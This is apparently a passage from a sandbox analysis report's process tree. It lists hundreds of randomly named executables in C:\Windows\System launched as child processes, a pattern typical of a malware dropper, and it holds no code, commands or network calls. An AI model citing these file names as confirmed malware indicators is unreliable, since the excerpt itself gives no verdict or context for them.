  C:\Windows\System\sUBmYOe.exe
  2⤵
  PID:2068
- C:\Windows\System\PiWqdmV.exe
  C:\Windows\System\PiWqdmV.exe
  2⤵
  PID:3164
- C:\Windows\System\Jwhrfrf.exe
  C:\Windows\System\Jwhrfrf.exe
  2⤵
  PID:3316
- C:\Windows\System\gQSgJTY.exe
  C:\Windows\System\gQSgJTY.exe
  2⤵
  PID:3476
- C:\Windows\System\tHHNWyp.exe
  C:\Windows\System\tHHNWyp.exe
  2⤵
  PID:1700
- C:\Windows\System\CiTDfCf.exe
  C:\Windows\System\CiTDfCf.exe
  2⤵
  PID:4896
- C:\Windows\System\FApaOih.exe
  C:\Windows\System\FApaOih.exe
  2⤵
  PID:3604
- C:\Windows\System\wadkAOx.exe
  C:\Windows\System\wadkAOx.exe
  2⤵
  PID:3748
- C:\Windows\System\joknkda.exe
  C:\Windows\System\joknkda.exe
  2⤵
  PID:4044
- C:\Windows\System\MejuioA.exe
  C:\Windows\System\MejuioA.exe
  2⤵
  PID:4192
- C:\Windows\System\mLlyWRT.exe
  C:\Windows\System\mLlyWRT.exe
  2⤵
  PID:3424
- C:\Windows\System\pkyYgoV.exe
  C:\Windows\System\pkyYgoV.exe
  2⤵
  PID:3984
- C:\Windows\System\TTrfOqg.exe
  C:\Windows\System\TTrfOqg.exe
  2⤵
  PID:4720
- C:\Windows\System\YrpuLgD.exe
  C:\Windows\System\YrpuLgD.exe
  2⤵
  PID:3992
- C:\Windows\System\KTjPMTB.exe
  C:\Windows\System\KTjPMTB.exe
  2⤵
  PID:3560
- C:\Windows\System\aJJQalG.exe
  C:\Windows\System\aJJQalG.exe
  2⤵
  PID:4180
- C:\Windows\System\XjReNGZ.exe
  C:\Windows\System\XjReNGZ.exe
  2⤵
  PID:1112
- C:\Windows\System\tFRUYrG.exe
  C:\Windows\System\tFRUYrG.exe
  2⤵
  PID:3148
- C:\Windows\System\WqmMrvS.exe
  C:\Windows\System\WqmMrvS.exe
  2⤵
  PID:4296
- C:\Windows\System\CDDLzsU.exe
  C:\Windows\System\CDDLzsU.exe
  2⤵
  PID:4756
- C:\Windows\System\entQIkk.exe
  C:\Windows\System\entQIkk.exe
  2⤵
  PID:4332
- C:\Windows\System\TryqMqF.exe
  C:\Windows\System\TryqMqF.exe
  2⤵
  PID:3812
- C:\Windows\System\lFbsKjp.exe
  C:\Windows\System\lFbsKjp.exe
  2⤵
  PID:3972
- C:\Windows\System\QxrqmFE.exe
  C:\Windows\System\QxrqmFE.exe
  2⤵
  PID:4032
- C:\Windows\System\ulyNOZG.exe
  C:\Windows\System\ulyNOZG.exe
  2⤵
  PID:2376
- C:\Windows\System\GNAjfkz.exe
  C:\Windows\System\GNAjfkz.exe
  2⤵
  PID:4428
- C:\Windows\System\KHoWLFP.exe
  C:\Windows\System\KHoWLFP.exe
  2⤵
  PID:4492
- C:\Windows\System\ZGjRLtR.exe
  C:\Windows\System\ZGjRLtR.exe
  2⤵
  PID:4560
- C:\Windows\System\jrjRilu.exe
  C:\Windows\System\jrjRilu.exe
  2⤵
  PID:4624
- C:\Windows\System\JKfIIZx.exe
  C:\Windows\System\JKfIIZx.exe
  2⤵
  PID:4916
- C:\Windows\System\VfEQIio.exe
  C:\Windows\System\VfEQIio.exe
  2⤵
  PID:848
- C:\Windows\System\UTOKwrP.exe
  C:\Windows\System\UTOKwrP.exe
  2⤵
  PID:484
- C:\Windows\System\JmmUYwe.exe
  C:\Windows\System\JmmUYwe.exe
  2⤵
  PID:3380
- C:\Windows\System\zgeeFwf.exe
  C:\Windows\System\zgeeFwf.exe
  2⤵
  PID:4248
- C:\Windows\System\mGHOvEm.exe
  C:\Windows\System\mGHOvEm.exe
  2⤵
  PID:4312
- C:\Windows\System\nGdDyQR.exe
  C:\Windows\System\nGdDyQR.exe
  2⤵
  PID:4348
- C:\Windows\System\gjSXKHX.exe
  C:\Windows\System\gjSXKHX.exe
  2⤵
  PID:4412
- C:\Windows\System\YMFIiRg.exe
  C:\Windows\System\YMFIiRg.exe
  2⤵
  PID:4476
- C:\Windows\System\QWxVSmp.exe
  C:\Windows\System\QWxVSmp.exe
  2⤵
  PID:4540
- C:\Windows\System\QCkVOtR.exe
  C:\Windows\System\QCkVOtR.exe
  2⤵
  PID:3396
- C:\Windows\System\GrTJNhG.exe
  C:\Windows\System\GrTJNhG.exe
  2⤵
  PID:4580
- C:\Windows\System\VMiZDXe.exe
  C:\Windows\System\VMiZDXe.exe
  2⤵
  PID:4700
- C:\Windows\System\rAsdgsR.exe
  C:\Windows\System\rAsdgsR.exe
  2⤵
  PID:4980
- C:\Windows\System\HtEvTCy.exe
  C:\Windows\System\HtEvTCy.exe
  2⤵
  PID:3152
- C:\Windows\System\VzlvCiR.exe
  C:\Windows\System\VzlvCiR.exe
  2⤵
  PID:908
- C:\Windows\System\yQazMip.exe
  C:\Windows\System\yQazMip.exe
  2⤵
  PID:2684
- C:\Windows\System\qqmrYHM.exe
  C:\Windows\System\qqmrYHM.exe
  2⤵
  PID:4656
- C:\Windows\System\divuiMr.exe
  C:\Windows\System\divuiMr.exe
  2⤵
  PID:3764
- C:\Windows\System\btlfmWC.exe
  C:\Windows\System\btlfmWC.exe
  2⤵
  PID:4164
- C:\Windows\System\nbrUYAn.exe
  C:\Windows\System\nbrUYAn.exe
  2⤵
  PID:4852
- C:\Windows\System\nRXdabJ.exe
  C:\Windows\System\nRXdabJ.exe
  2⤵
  PID:3944
- C:\Windows\System\DbaYZOn.exe
  C:\Windows\System\DbaYZOn.exe
  2⤵
  PID:4460
- C:\Windows\System\LbRFsXg.exe
  C:\Windows\System\LbRFsXg.exe
  2⤵
  PID:4596
- C:\Windows\System\sYjkzbD.exe
  C:\Windows\System\sYjkzbD.exe
  2⤵
  PID:5128
- C:\Windows\System\qglnruY.exe
  C:\Windows\System\qglnruY.exe
  2⤵
  PID:5144
- C:\Windows\System\pmJWsUG.exe
  C:\Windows\System\pmJWsUG.exe
  2⤵
  PID:5160
- C:\Windows\System\HWBFQFO.exe
  C:\Windows\System\HWBFQFO.exe
  2⤵
  PID:5176
- C:\Windows\System\wZERnET.exe
  C:\Windows\System\wZERnET.exe
  2⤵
  PID:5196
- C:\Windows\System\XVnmXQS.exe
  C:\Windows\System\XVnmXQS.exe
  2⤵
  PID:5212
- C:\Windows\System\IpjzqXw.exe
  C:\Windows\System\IpjzqXw.exe
  2⤵
  PID:5228
- C:\Windows\System\JIlBxjK.exe
  C:\Windows\System\JIlBxjK.exe
  2⤵
  PID:5284
- C:\Windows\System\liJpGTi.exe
  C:\Windows\System\liJpGTi.exe
  2⤵
  PID:5320
- C:\Windows\System\IfupKow.exe
  C:\Windows\System\IfupKow.exe
  2⤵
  PID:5348
- C:\Windows\System\NLQFFsu.exe
  C:\Windows\System\NLQFFsu.exe
  2⤵
  PID:5368
- C:\Windows\System\XjySzif.exe
  C:\Windows\System\XjySzif.exe
  2⤵
  PID:5388
- C:\Windows\System\FlJXIPf.exe
  C:\Windows\System\FlJXIPf.exe
  2⤵
  PID:5404
- C:\Windows\System\iUPJQxk.exe
  C:\Windows\System\iUPJQxk.exe
  2⤵
  PID:5420
- C:\Windows\System\PgtLynt.exe
  C:\Windows\System\PgtLynt.exe
  2⤵
  PID:5436
- C:\Windows\System\cAwnMMq.exe
  C:\Windows\System\cAwnMMq.exe
  2⤵
  PID:5452
- C:\Windows\System\YTdbnyl.exe
  C:\Windows\System\YTdbnyl.exe
  2⤵
  PID:5468
- C:\Windows\System\BINRyTL.exe
  C:\Windows\System\BINRyTL.exe
  2⤵
  PID:5484
- C:\Windows\System\alwGiYW.exe
  C:\Windows\System\alwGiYW.exe
  2⤵
  PID:5500
- C:\Windows\System\SajYBCE.exe
  C:\Windows\System\SajYBCE.exe
  2⤵
  PID:5516
- C:\Windows\System\vZvBefs.exe
  C:\Windows\System\vZvBefs.exe
  2⤵
  PID:5532
- C:\Windows\System\SrIAuhK.exe
  C:\Windows\System\SrIAuhK.exe
  2⤵
  PID:5548
- C:\Windows\System\LAagjup.exe
  C:\Windows\System\LAagjup.exe
  2⤵
  PID:5564
- C:\Windows\System\wxDfBor.exe
  C:\Windows\System\wxDfBor.exe
  2⤵
  PID:5580
- C:\Windows\System\OFwkCUb.exe
  C:\Windows\System\OFwkCUb.exe
  2⤵
  PID:5596
- C:\Windows\System\jtHDnWD.exe
  C:\Windows\System\jtHDnWD.exe
  2⤵
  PID:5612
- C:\Windows\System\dHSVwcq.exe
  C:\Windows\System\dHSVwcq.exe
  2⤵
  PID:5628
- C:\Windows\System\wrxHcnt.exe
  C:\Windows\System\wrxHcnt.exe
  2⤵
  PID:5644
- C:\Windows\System\HrDYqzx.exe
  C:\Windows\System\HrDYqzx.exe
  2⤵
  PID:5660
- C:\Windows\System\MNAOphN.exe
  C:\Windows\System\MNAOphN.exe
  2⤵
  PID:5676
- C:\Windows\System\kZestWZ.exe
  C:\Windows\System\kZestWZ.exe
  2⤵
  PID:5692
- C:\Windows\System\iaJtZQL.exe
  C:\Windows\System\iaJtZQL.exe
  2⤵
  PID:5716
- C:\Windows\System\PUNTCvD.exe
  C:\Windows\System\PUNTCvD.exe
  2⤵
  PID:5740
- C:\Windows\System\acJCJAo.exe
  C:\Windows\System\acJCJAo.exe
  2⤵
  PID:5756
- C:\Windows\System\CNHuHJe.exe
  C:\Windows\System\CNHuHJe.exe
  2⤵
  PID:5772
- C:\Windows\System\XIysIoi.exe
  C:\Windows\System\XIysIoi.exe
  2⤵
  PID:5788
- C:\Windows\System\AqFZNSC.exe
  C:\Windows\System\AqFZNSC.exe
  2⤵
  PID:5804
- C:\Windows\System\DkzYLjo.exe
  C:\Windows\System\DkzYLjo.exe
  2⤵
  PID:5820
- C:\Windows\System\jkdJcRB.exe
  C:\Windows\System\jkdJcRB.exe
  2⤵
  PID:5836
- C:\Windows\System\pIUJZOT.exe
  C:\Windows\System\pIUJZOT.exe
  2⤵
  PID:5852
- C:\Windows\System\JTeJQkc.exe
  C:\Windows\System\JTeJQkc.exe
  2⤵
  PID:5872
- C:\Windows\System\tcoUSDr.exe
  C:\Windows\System\tcoUSDr.exe
  2⤵
  PID:5892
- C:\Windows\System\IOGZakY.exe
  C:\Windows\System\IOGZakY.exe
  2⤵
  PID:5908
- C:\Windows\System\VUERlQm.exe
  C:\Windows\System\VUERlQm.exe
  2⤵
  PID:5924
- C:\Windows\System\PvEhziZ.exe
  C:\Windows\System\PvEhziZ.exe
  2⤵
  PID:5940
- C:\Windows\System\kakmiiK.exe
  C:\Windows\System\kakmiiK.exe
  2⤵
  PID:5956
- C:\Windows\System\BjfQuZz.exe
  C:\Windows\System\BjfQuZz.exe
  2⤵
  PID:5972
- C:\Windows\System\PRMVAXq.exe
  C:\Windows\System\PRMVAXq.exe
  2⤵
  PID:5988
- C:\Windows\System\ZOPkfgj.exe
  C:\Windows\System\ZOPkfgj.exe
  2⤵
  PID:6004
- C:\Windows\System\zWIGWRP.exe
  C:\Windows\System\zWIGWRP.exe
  2⤵
  PID:6020
- C:\Windows\System\oYpxUwi.exe
  C:\Windows\System\oYpxUwi.exe
  2⤵
  PID:6036
- C:\Windows\System\vdNEqvn.exe
  C:\Windows\System\vdNEqvn.exe
  2⤵
  PID:6052
- C:\Windows\System\QtnBsKj.exe
  C:\Windows\System\QtnBsKj.exe
  2⤵
  PID:6068
- C:\Windows\System\zFULVGO.exe
  C:\Windows\System\zFULVGO.exe
  2⤵
  PID:6084
- C:\Windows\System\GjVMXzo.exe
  C:\Windows\System\GjVMXzo.exe
  2⤵
  PID:6128
- C:\Windows\System\oNsePIe.exe
  C:\Windows\System\oNsePIe.exe
  2⤵
  PID:4028
- C:\Windows\System\dNnuGaR.exe
  C:\Windows\System\dNnuGaR.exe
  2⤵
  PID:4116
- C:\Windows\System\cLecxBU.exe
  C:\Windows\System\cLecxBU.exe
  2⤵
  PID:4520
- C:\Windows\System\EErqldV.exe
  C:\Windows\System\EErqldV.exe
  2⤵
  PID:4448
- C:\Windows\System\kzqyGeT.exe
  C:\Windows\System\kzqyGeT.exe
  2⤵
  PID:3268
- C:\Windows\System\PBoAOaS.exe
  C:\Windows\System\PBoAOaS.exe
  2⤵
  PID:4280
- C:\Windows\System\yXUJyxr.exe
  C:\Windows\System\yXUJyxr.exe
  2⤵
  PID:4480
- C:\Windows\System\rJUcvcr.exe
  C:\Windows\System\rJUcvcr.exe
  2⤵
  PID:4576
- C:\Windows\System\PPleBJM.exe
  C:\Windows\System\PPleBJM.exe
  2⤵
  PID:3472
- C:\Windows\System\QyfVBiC.exe
  C:\Windows\System\QyfVBiC.exe
  2⤵
  PID:3844
- C:\Windows\System\xzCZFVv.exe
  C:\Windows\System\xzCZFVv.exe
  2⤵
  PID:5140
- C:\Windows\System\lhIcAoj.exe
  C:\Windows\System\lhIcAoj.exe
  2⤵
  PID:5236
- C:\Windows\System\LJoDeNq.exe
  C:\Windows\System\LJoDeNq.exe
  2⤵
  PID:5256
- C:\Windows\System\yRyAzdR.exe
  C:\Windows\System\yRyAzdR.exe
  2⤵
  PID:5272
- C:\Windows\System\AIljYwY.exe
  C:\Windows\System\AIljYwY.exe
  2⤵
  PID:5344
- C:\Windows\System\OCeshmv.exe
  C:\Windows\System\OCeshmv.exe
  2⤵
  PID:5476
- C:\Windows\System\JkATWpy.exe
  C:\Windows\System\JkATWpy.exe
  2⤵
  PID:5540
- C:\Windows\System\dpaYRvE.exe
  C:\Windows\System\dpaYRvE.exe
  2⤵
  PID:5604
- C:\Windows\System\NufJhAk.exe
  C:\Windows\System\NufJhAk.exe
  2⤵
  PID:5700
- C:\Windows\System\ADAlEXB.exe
  C:\Windows\System\ADAlEXB.exe
  2⤵
  PID:4612
- C:\Windows\System\LQMURGR.exe
  C:\Windows\System\LQMURGR.exe
  2⤵
  PID:2484
- C:\Windows\System\DFnhCSB.exe
  C:\Windows\System\DFnhCSB.exe
  2⤵
  PID:3636
- C:\Windows\System\FbiXGEP.exe
  C:\Windows\System\FbiXGEP.exe
  2⤵
  PID:4396
- C:\Windows\System\gNdnehy.exe
  C:\Windows\System\gNdnehy.exe
  2⤵
  PID:3220
- C:\Windows\System\ezlhuHu.exe
  C:\Windows\System\ezlhuHu.exe
  2⤵
  PID:5184
- C:\Windows\System\tunHxki.exe
  C:\Windows\System\tunHxki.exe
  2⤵
  PID:5224
- C:\Windows\System\HBPZVwB.exe
  C:\Windows\System\HBPZVwB.exe
  2⤵
  PID:5304
- C:\Windows\System\UPbcWDt.exe
  C:\Windows\System\UPbcWDt.exe
  2⤵
  PID:5356
- C:\Windows\System\pQQOGNN.exe
  C:\Windows\System\pQQOGNN.exe
  2⤵
  PID:5400
- C:\Windows\System\mglthEo.exe
  C:\Windows\System\mglthEo.exe
  2⤵
  PID:5464
- C:\Windows\System\yhcGQGM.exe
  C:\Windows\System\yhcGQGM.exe
  2⤵
  PID:5528
- C:\Windows\System\TsxqVBu.exe
  C:\Windows\System\TsxqVBu.exe
  2⤵
  PID:5592
- C:\Windows\System\ResXkev.exe
  C:\Windows\System\ResXkev.exe
  2⤵
  PID:5656
- C:\Windows\System\KdzdDUq.exe
  C:\Windows\System\KdzdDUq.exe
  2⤵
  PID:5728
- C:\Windows\System\ddAJWzG.exe
  C:\Windows\System\ddAJWzG.exe
  2⤵
  PID:5752
- C:\Windows\System\TCvRwzY.exe
  C:\Windows\System\TCvRwzY.exe
  2⤵
  PID:5768
- C:\Windows\System\ufTjlTt.exe
  C:\Windows\System\ufTjlTt.exe
  2⤵
  PID:5800
- C:\Windows\System\VqfPXzQ.exe
  C:\Windows\System\VqfPXzQ.exe
  2⤵
  PID:5832
- C:\Windows\System\lPTrfHj.exe
  C:\Windows\System\lPTrfHj.exe
  2⤵
  PID:5864
- C:\Windows\System\OrQziyN.exe
  C:\Windows\System\OrQziyN.exe
  2⤵
  PID:5904
- C:\Windows\System\FbNWmxx.exe
  C:\Windows\System\FbNWmxx.exe
  2⤵
  PID:5932
- C:\Windows\System\XroTFkj.exe
  C:\Windows\System\XroTFkj.exe
  2⤵
  PID:5980
- C:\Windows\System\kIBLrEz.exe
  C:\Windows\System\kIBLrEz.exe
  2⤵
  PID:6000
- C:\Windows\System\YLophJO.exe
  C:\Windows\System\YLophJO.exe
  2⤵
  PID:6032
- C:\Windows\System\JrPlBpu.exe
  C:\Windows\System\JrPlBpu.exe
  2⤵
  PID:6064
- C:\Windows\System\fMItxSu.exe
  C:\Windows\System\fMItxSu.exe
  2⤵
  PID:5384
- C:\Windows\System\YYWZDWc.exe
  C:\Windows\System\YYWZDWc.exe
  2⤵
  PID:6100
- C:\Windows\System\tqmXMTi.exe
  C:\Windows\System\tqmXMTi.exe
  2⤵
  PID:6112
- C:\Windows\System\rQQZFLK.exe
  C:\Windows\System\rQQZFLK.exe
  2⤵
  PID:6136
- C:\Windows\System\DCNzJkx.exe
  C:\Windows\System\DCNzJkx.exe
  2⤵
  PID:6140
- C:\Windows\System\LNjNaLx.exe
  C:\Windows\System\LNjNaLx.exe
  2⤵
  PID:2608
- C:\Windows\System\HbyslJo.exe
  C:\Windows\System\HbyslJo.exe
  2⤵
  PID:2812
- C:\Windows\System\iDzfVXR.exe
  C:\Windows\System\iDzfVXR.exe
  2⤵
  PID:4084
- C:\Windows\System\APVSJvc.exe
  C:\Windows\System\APVSJvc.exe
  2⤵
  PID:4344
- C:\Windows\System\dAJZXRs.exe
  C:\Windows\System\dAJZXRs.exe
  2⤵
  PID:1872
- C:\Windows\System\EQLXehQ.exe
  C:\Windows\System\EQLXehQ.exe
  2⤵
  PID:4548
- C:\Windows\System\oWNDvwP.exe
  C:\Windows\System\oWNDvwP.exe
  2⤵
  PID:2100
- C:\Windows\System\eHVwtgl.exe
  C:\Windows\System\eHVwtgl.exe
  2⤵
  PID:4384
- C:\Windows\System\rDlxYrR.exe
  C:\Windows\System\rDlxYrR.exe
  2⤵
  PID:1980
- C:\Windows\System\LBuQOjk.exe
  C:\Windows\System\LBuQOjk.exe
  2⤵
  PID:4996
- C:\Windows\System\ZnCJyMZ.exe
  C:\Windows\System\ZnCJyMZ.exe
  2⤵
  PID:1932
- C:\Windows\System\wDWiNah.exe
  C:\Windows\System\wDWiNah.exe
  2⤵
  PID:2236
- C:\Windows\System\rFsVLdR.exe
  C:\Windows\System\rFsVLdR.exe
  2⤵
  PID:2192
- C:\Windows\System\eSRDLKr.exe
  C:\Windows\System\eSRDLKr.exe
  2⤵
  PID:1736
- C:\Windows\System\CpCzZzi.exe
  C:\Windows\System\CpCzZzi.exe
  2⤵
  PID:5252
- C:\Windows\System\rRkpRvW.exe
  C:\Windows\System\rRkpRvW.exe
  2⤵
  PID:3300
- C:\Windows\System\qhcudKt.exe
  C:\Windows\System\qhcudKt.exe
  2⤵
  PID:5332
- C:\Windows\System\GxkCpSI.exe
  C:\Windows\System\GxkCpSI.exe
  2⤵
  PID:592
- C:\Windows\System\GRRuiFB.exe
  C:\Windows\System\GRRuiFB.exe
  2⤵
  PID:5340
- C:\Windows\System\MRjxmCO.exe
  C:\Windows\System\MRjxmCO.exe
  2⤵
  PID:5380
- C:\Windows\System\hAxITPo.exe
  C:\Windows\System\hAxITPo.exe
  2⤵
  PID:2232
- C:\Windows\System\dHkNPmw.exe
  C:\Windows\System\dHkNPmw.exe
  2⤵
  PID:2880
- C:\Windows\System\ZqBajEH.exe
  C:\Windows\System\ZqBajEH.exe
  2⤵
  PID:5416
- C:\Windows\System\EeKpZlL.exe
  C:\Windows\System\EeKpZlL.exe
  2⤵
  PID:5448
- C:\Windows\System\yraIiai.exe
  C:\Windows\System\yraIiai.exe
  2⤵
  PID:5672
- C:\Windows\System\vXbBxlG.exe
  C:\Windows\System\vXbBxlG.exe
  2⤵
  PID:2600
- C:\Windows\System\XgtTbXr.exe
  C:\Windows\System\XgtTbXr.exe
  2⤵
  PID:5192
- C:\Windows\System\dpHtJVf.exe
  C:\Windows\System\dpHtJVf.exe
  2⤵
  PID:5432
- C:\Windows\System\cRwQxxM.exe
  C:\Windows\System\cRwQxxM.exe
  2⤵
  PID:5688
- C:\Windows\System\xnYSeIW.exe
  C:\Windows\System\xnYSeIW.exe
  2⤵
  PID:5848
- C:\Windows\System\QHGEdyF.exe
  C:\Windows\System\QHGEdyF.exe
  2⤵
  PID:5152
- C:\Windows\System\ZgnwQLM.exe
  C:\Windows\System\ZgnwQLM.exe
  2⤵
  PID:3908
- C:\Windows\System\DSfbTsB.exe
  C:\Windows\System\DSfbTsB.exe
  2⤵
  PID:5496
- C:\Windows\System\nSsAnrm.exe
  C:\Windows\System\nSsAnrm.exe
  2⤵
  PID:3048
- C:\Windows\System\Zxlbncv.exe
  C:\Windows\System\Zxlbncv.exe
  2⤵
  PID:5868
- C:\Windows\System\mVyIMME.exe
  C:\Windows\System\mVyIMME.exe
  2⤵
  PID:5936
- C:\Windows\System\MBcwprl.exe
  C:\Windows\System\MBcwprl.exe
  2⤵
  PID:2584
- C:\Windows\System\FjIpJWo.exe
  C:\Windows\System\FjIpJWo.exe
  2⤵
  PID:5984
- C:\Windows\System\fBPyNet.exe
  C:\Windows\System\fBPyNet.exe
  2⤵
  PID:6092
- C:\Windows\System\OcmOsCs.exe
  C:\Windows\System\OcmOsCs.exe
  2⤵
  PID:6124
- C:\Windows\System\KKDLTvj.exe
  C:\Windows\System\KKDLTvj.exe
  2⤵
  PID:2628
- C:\Windows\System\YceBnzf.exe
  C:\Windows\System\YceBnzf.exe
  2⤵
  PID:572
- C:\Windows\System\yvDqGzT.exe
  C:\Windows\System\yvDqGzT.exe
  2⤵
  PID:4264
- C:\Windows\System\XEZTLgw.exe
  C:\Windows\System\XEZTLgw.exe
  2⤵
  PID:4768
- C:\Windows\System\VXskTzc.exe
  C:\Windows\System\VXskTzc.exe
  2⤵
  PID:2632
- C:\Windows\System\LyaCqkP.exe
  C:\Windows\System\LyaCqkP.exe
  2⤵
  PID:5008
- C:\Windows\System\QiAnJFS.exe
  C:\Windows\System\QiAnJFS.exe
  2⤵
  PID:4960
- C:\Windows\System\mgaChSG.exe
  C:\Windows\System\mgaChSG.exe
  2⤵
  PID:5172
- C:\Windows\System\AZvcYsd.exe
  C:\Windows\System\AZvcYsd.exe
  2⤵
  PID:5208
- C:\Windows\System\kRbdtvJ.exe
  C:\Windows\System\kRbdtvJ.exe
  2⤵
  PID:2324
- C:\Windows\System\lhfPSut.exe
  C:\Windows\System\lhfPSut.exe
  2⤵
  PID:320
- C:\Windows\System\BpRXjgD.exe
  C:\Windows\System\BpRXjgD.exe
  2⤵
  PID:1352
- C:\Windows\System\uPZdPxX.exe
  C:\Windows\System\uPZdPxX.exe
  2⤵
  PID:2276
- C:\Windows\System\iuDTSke.exe
  C:\Windows\System\iuDTSke.exe
  2⤵
  PID:5712
- C:\Windows\System\bryOJaw.exe
  C:\Windows\System\bryOJaw.exe
  2⤵
  PID:5780
- C:\Windows\System\mRYLBWN.exe
  C:\Windows\System\mRYLBWN.exe
  2⤵
  PID:5460
- C:\Windows\System\nUYdgPG.exe
  C:\Windows\System\nUYdgPG.exe
  2⤵
  PID:5916
- C:\Windows\System\UIScYWE.exe
  C:\Windows\System\UIScYWE.exe
  2⤵
  PID:5396
- C:\Windows\System\VDDTqUb.exe
  C:\Windows\System\VDDTqUb.exe
  2⤵
  PID:5816
- C:\Windows\System\PGmHpJG.exe
  C:\Windows\System\PGmHpJG.exe
  2⤵
  PID:5364
- C:\Windows\System\rDlxhZh.exe
  C:\Windows\System\rDlxhZh.exe
  2⤵
  PID:6120
- C:\Windows\System\VKMuLsL.exe
  C:\Windows\System\VKMuLsL.exe
  2⤵
  PID:2604
- C:\Windows\System\QmlxyRL.exe
  C:\Windows\System\QmlxyRL.exe
  2⤵
  PID:3312
- C:\Windows\System\pYIPvwQ.exe
  C:\Windows\System\pYIPvwQ.exe
  2⤵
  PID:2692
- C:\Windows\System\lrMYFWo.exe
  C:\Windows\System\lrMYFWo.exe
  2⤵
  PID:1868
- C:\Windows\System\tbGrVTq.exe
  C:\Windows\System\tbGrVTq.exe
  2⤵
  PID:1180
- C:\Windows\System\AKVnnIx.exe
  C:\Windows\System\AKVnnIx.exe
  2⤵
  PID:5572
- C:\Windows\System\GMvcOem.exe
  C:\Windows\System\GMvcOem.exe
  2⤵
  PID:3296
- C:\Windows\System\FRJMBRB.exe
  C:\Windows\System\FRJMBRB.exe
  2⤵
  PID:2724
- C:\Windows\System\QKhMxvq.exe
  C:\Windows\System\QKhMxvq.exe
  2⤵
  PID:2564
- C:\Windows\System\xxWUTJu.exe
  C:\Windows\System\xxWUTJu.exe
  2⤵
  PID:5312
- C:\Windows\System\FugrRAh.exe
  C:\Windows\System\FugrRAh.exe
  2⤵
  PID:5948
- C:\Windows\System\xpYSaoj.exe
  C:\Windows\System\xpYSaoj.exe
  2⤵
  PID:2640
- C:\Windows\System\hVnbdTR.exe
  C:\Windows\System\hVnbdTR.exe
  2⤵
  PID:5512
- C:\Windows\System\xSsIabu.exe
  C:\Windows\System\xSsIabu.exe
  2⤵
  PID:3172
- C:\Windows\System\ChjRMKH.exe
  C:\Windows\System\ChjRMKH.exe
  2⤵
  PID:2664
- C:\Windows\System\hLMzzwa.exe
  C:\Windows\System\hLMzzwa.exe
  2⤵
  PID:2748
- C:\Windows\System\fqTraIW.exe
  C:\Windows\System\fqTraIW.exe
  2⤵
  PID:860
- C:\Windows\System\DABJRCc.exe
  C:\Windows\System\DABJRCc.exe
  2⤵
  PID:268
- C:\Windows\System\cfBwOJW.exe
  C:\Windows\System\cfBwOJW.exe
  2⤵
  PID:5444
- C:\Windows\System\KMVmNle.exe
  C:\Windows\System\KMVmNle.exe
  2⤵
  PID:2680
- C:\Windows\System\nVtyjZO.exe
  C:\Windows\System\nVtyjZO.exe
  2⤵
  PID:6096
- C:\Windows\System\VBacIzL.exe
  C:\Windows\System\VBacIzL.exe
  2⤵
  PID:6152
- C:\Windows\System\mkYoGFF.exe
  C:\Windows\System\mkYoGFF.exe
  2⤵
  PID:6168
- C:\Windows\System\bDtUCej.exe
  C:\Windows\System\bDtUCej.exe
  2⤵
  PID:6184
- C:\Windows\System\vTbguOY.exe
  C:\Windows\System\vTbguOY.exe
  2⤵
  PID:6200
- C:\Windows\System\OjaizoE.exe
  C:\Windows\System\OjaizoE.exe
  2⤵
  PID:6216
- C:\Windows\System\ClyVWqC.exe
  C:\Windows\System\ClyVWqC.exe
  2⤵
  PID:6232
- C:\Windows\System\HQzBPGu.exe
  C:\Windows\System\HQzBPGu.exe
  2⤵
  PID:6248
- C:\Windows\System\ZHjeCOn.exe
  C:\Windows\System\ZHjeCOn.exe
  2⤵
  PID:6268
- C:\Windows\System\ZYngPcn.exe
  C:\Windows\System\ZYngPcn.exe
  2⤵
  PID:6284
- C:\Windows\System\iFiTuPJ.exe
  C:\Windows\System\iFiTuPJ.exe
  2⤵
  PID:6300
- C:\Windows\System\PCjoIDr.exe
  C:\Windows\System\PCjoIDr.exe
  2⤵
  PID:6316
- C:\Windows\System\FAHKLdt.exe
  C:\Windows\System\FAHKLdt.exe
  2⤵
  PID:6336
- C:\Windows\System\fkpeRxp.exe
  C:\Windows\System\fkpeRxp.exe
  2⤵
  PID:6352
- C:\Windows\System\ZBIOhAS.exe
  C:\Windows\System\ZBIOhAS.exe
  2⤵
  PID:6368
- C:\Windows\System\yOZOkKm.exe
  C:\Windows\System\yOZOkKm.exe
  2⤵
  PID:6384
- C:\Windows\System\QvAqUfR.exe
  C:\Windows\System\QvAqUfR.exe
  2⤵
  PID:6416
- C:\Windows\System\LqMQnQd.exe
  C:\Windows\System\LqMQnQd.exe
  2⤵
  PID:6436
- C:\Windows\System\faoasJu.exe
  C:\Windows\System\faoasJu.exe
  2⤵
  PID:6452
- C:\Windows\System\tlrlWLM.exe
  C:\Windows\System\tlrlWLM.exe
  2⤵
  PID:6468
- C:\Windows\System\kCFowRi.exe
  C:\Windows\System\kCFowRi.exe
  2⤵
  PID:6484
- C:\Windows\System\HCkDeBh.exe
  C:\Windows\System\HCkDeBh.exe
  2⤵
  PID:6504
- C:\Windows\System\dhcVMsV.exe
  C:\Windows\System\dhcVMsV.exe
  2⤵
  PID:6524
- C:\Windows\System\dgxqNFl.exe
  C:\Windows\System\dgxqNFl.exe
  2⤵
  PID:6552
- C:\Windows\System\IjyGBvm.exe
  C:\Windows\System\IjyGBvm.exe
  2⤵
  PID:6568
- C:\Windows\System\MyYrBoY.exe
  C:\Windows\System\MyYrBoY.exe
  2⤵
  PID:6584
- C:\Windows\System\JtjHYTs.exe
  C:\Windows\System\JtjHYTs.exe
  2⤵
  PID:6600
- C:\Windows\System\HCMdjNa.exe
  C:\Windows\System\HCMdjNa.exe
  2⤵
  PID:6620
- C:\Windows\System\xrZjfZs.exe
  C:\Windows\System\xrZjfZs.exe
  2⤵
  PID:6640
- C:\Windows\System\KctuzlT.exe
  C:\Windows\System\KctuzlT.exe
  2⤵
  PID:6656
- C:\Windows\System\FiRnkol.exe
  C:\Windows\System\FiRnkol.exe
  2⤵
  PID:6672
- C:\Windows\System\IRxpYKk.exe
  C:\Windows\System\IRxpYKk.exe
  2⤵
  PID:6740
- C:\Windows\System\FewhLUz.exe
  C:\Windows\System\FewhLUz.exe
  2⤵
  PID:6776
- C:\Windows\System\oOJKWPY.exe
  C:\Windows\System\oOJKWPY.exe
  2⤵
  PID:6900
- C:\Windows\System\uhddrln.exe
  C:\Windows\System\uhddrln.exe
  2⤵
  PID:6928
- C:\Windows\System\tCMJMAp.exe
  C:\Windows\System\tCMJMAp.exe
  2⤵
  PID:6980
- C:\Windows\System\jmhBxZj.exe
  C:\Windows\System\jmhBxZj.exe
  2⤵
  PID:7000
- C:\Windows\System\wNmSBwq.exe
